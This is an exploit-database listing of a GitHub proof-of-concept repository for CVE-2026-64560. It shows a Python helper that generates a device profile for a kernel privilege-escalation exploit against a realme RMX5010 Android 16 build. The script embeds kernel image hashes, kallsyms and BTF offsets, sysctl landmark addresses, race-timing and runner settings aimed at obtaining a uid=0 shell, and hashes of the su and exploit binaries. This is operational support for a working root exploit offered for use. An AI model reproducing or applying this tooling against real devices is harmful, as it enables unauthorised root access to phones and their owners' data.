Exploit database

GH-62795ef7663ec78bf961141c94d4c5a3

become-illusory/cve-2026-64560-a16

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files12
become-illusory/cve-2026-64560-a16Revision a460e709eac4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/mk_profile.py

Python · 7,042 bytes
#!/usr/bin/env python3
"""Build profiles/rmx5010/<id>.json from the verified A16 artifacts.

Link/landmark values are read straight out of the verified generated source so
the profile can never drift from the binary we shipped.
"""
import hashlib
import json
import os
import re
import sys

REPO = sys.argv[1] if len(sys.argv) > 1 else "/var/minis/shared/pkg/cve-2026-64560-rmx5010-a16"
SRC = os.path.join(REPO, "src/exploit-rmx5010-a16.c")

FINGERPRINT = ("realme/RMX5010/RE6018L1:16/BP2A.250605.015/"
               "V.2a20db9-4ff7c3-520e61:user/release-keys")
KERNEL_RELEASE = "6.6.118-android15-8-g93e223c276e7-abogki500782043-4k"
PROFILE_ID = "rmx5010-" + hashlib.sha256(FINGERPRINT.encode()).hexdigest()[:12]

link = {}
pat = re.compile(r"#define\s+(LINK_[A-Z0-9_]+)\s+UINT64_C\((0x[0-9a-fA-F]+)\)")
for line in open(SRC, encoding="utf-8", errors="replace"):
    m = pat.match(line.strip())
    if m:
        link[m.group(1)] = m.group(2)

if len(link) < 20:
    sys.exit("only found %d LINK_* defines in %s" % (len(link), SRC))


def sha256(path):
    h = hashlib.sha256()
    with open(path, "rb") as fh:
        for chunk in iter(lambda: fh.read(1 << 20), b""):
            h.update(chunk)
    return h.hexdigest()


su_sha = sha256(os.path.join(REPO, "build/rmx5010-a16/su"))
fan_sha = sha256(os.path.join(REPO, "bin/cve-2026-64560-fanout-rmx5010-a16"))

profile = {
    "schemaVersion": 1,
    "id": PROFILE_ID,
    "status": "draft",
    "device": {
        "manufacturer": "realme",
        "model": "RMX5010",
        "codename": "RE6018L1",
        "fingerprint": FINGERPRINT,
        "kernelRelease": KERNEL_RELEASE,
        "socModel": "SM8750",
        "pageSize": 4096,
        "onlineCpus": 8,
        "cpuOnline": "0-7",
        "uhid": "a:ef",
    },
    "images": {
        "stockBootSha256": "72eb01045a50839e61c34b258f4d8af463fcee97124dc677364eea9831c66838",
        "decodedImageSize": 36866560,
        "decodedImageSha256": "0b4b3aadd775009d88f39d0738ee7fa1a8a053444f668c2a762d0ea31f86e6a5",
    },
    "derivation": {
        "decodedImage": "scratch/rmx5010/Image",
        "imageBase": "0xffffffc080000000",
        "kallsymsNumSyms": 110092,
        "kallsymsLayout": {
            "numSyms": "0x1354c48",
            "names": "0x1354c50",
            "namesEnd": "0x14cc758",
            "markers": "0x14cc758",
            "tokenTable": "0x14cce18",
            "tokenIndex": "0x14cd1a8",
            "offsets": "0x14cd3a8",
            "relativeBase": "0x1538bd8",
        },
        "btfOffset": "0x171ef24",
        "twoNodeCycles": 1,
        "randomTableDataOffset": "0x225a168",
        "randomTableDataOffsetNote": (
            "derive_profile computes directBootidParent = direct_alias(image_base + "
            "randomTableDataOffset) - 8; 0x225a168 reproduces the 0xffffff802a25a160 "
            "landmark used by the binary. Evidence: the boot_id ctl_table entry lives at "
            "link offset 0x225a160 and its data field (+8) holds 0xffffffc08239c218, which "
            "is LINK_SYSCTL_BOOTID - the entry self-validates the landmark."
        ),
        "physical": {
            "imagePhys": "0xa8000000",
            "memstartAddr": "0x80000000",
            "physicalDelta": "0x28000000",
            "evidence": "carried over from the op13 profile; not independently verified on this build (/proc/iomem unavailable at derivation time)",
        },
        "structOffsetsMatchDada": True,
        "structOffsetsEvidence": (
            "btf_offsets.py on this Image: task_struct comm=0x830 tasks=0x550 "
            "parent=0x630 - identical to the dada/op13 constants compiled into the source."
        ),
        "timerCeiling": {
            "measured": False,
            "note": "no campaign has run on this build; the 40000 goal is carried over from op13 and has not been re-measured here",
        },
    },
    "runner": {
        "maxCpuMilliC": 55000,
        "maxBoots": 12,
        "attemptTimeoutSeconds": 900,
        "note": (
            "900 s attempts; shorter timeouts kill the chain mid-race and leave the slab dirty. "
            "Poll for a uid=0 shell instead of relying on the exit code."
        ),
    },
    "artifacts": {
        "su": {
            "source": "src/temp-su.c",
            "path": "build/rmx5010-a16/su",
            "sha256": su_sha,
            "pthread": False,
        },
        "strategies": [
            {
                "name": "fanout",
                "source": "src/exploit-fanout-rmx5010.c",
                "path": "bin/cve-2026-64560-fanout-rmx5010-a16",
                "sha256": fan_sha,
                "pthread": True,
                "toolchain": (
                    "Alpine musl gcc, -O2 -static -pthread -s (no NDK available in the build "
                    "sandbox); the single bionic-only symbol __system_property_get is shimmed "
                    "by tools/bionic_compat.c. Binary is static aarch64 with no PT_INTERP."
                ),
            }
        ],
    },
    "validation": {
        "staticOffsetsReviewed": True,
        "preflightPassed": True,
        "fullChainPassed": False,
        "freshShellRootPassed": False,
    },
    "observations": {
        "note": (
            "Preflight only. On the target (RMX5010, A16 g93e223c276e7) --preflight printed "
            "TARGET_PROFILE_GATE_PASS / RACE_CPU_LIMIT_GATE_PASS / RACE_ROLE_PREFLIGHT_PASS / "
            "UHID_GATE_PASS (major=10 minor=239) / SLAB_BASELINE active=403 total=403 / "
            "PREFLIGHT_PASS race_not_started=1 kernel_writes=0. No boot campaign has been run, "
            "so fullChainPassed and freshShellRootPassed stay false."
        ),
        "openRisks": [
            "physical layout values are inherited from op13 and unverified on this build",
            "structural adaptation: it is unknown whether A16 needs an early-bridge-consume equivalent to the PKX110 port",
            "musl allocator vs. bionic heap layout may shift the race window",
        ],
    },
    "port": {
        "profileName": PROFILE_ID,
        "device": "RE6018L1",
        "fingerprint": FINGERPRINT,
        "tuning": {
            "timerGoal": "40000",
            "ceilingMeasured": False,
            "note": "inherited from op13; re-measure before trusting a long campaign",
        },
        "outputs": [
            {
                "source": "src/exploit-fanout.c",
                "path": "src/exploit-fanout-rmx5010.c",
            }
        ],
        "direct": {
            "bootidParent": "0xffffff802a25a160",
            "cycleC": "0xffffff802a13dad0",
        },
        "link": dict(sorted(link.items())),
    },
}

out = os.path.join(REPO, "profiles/rmx5010", PROFILE_ID + ".json")
os.makedirs(os.path.dirname(out), exist_ok=True)
with open(out, "w", encoding="utf-8") as fh:
    json.dump(profile, fh, indent=2, ensure_ascii=False)
    fh.write("\n")

print("wrote", out)
print("id       =", PROFILE_ID)
print("link keys=", len(link))
print("su sha   =", su_sha)
print("fan sha  =", fan_sha)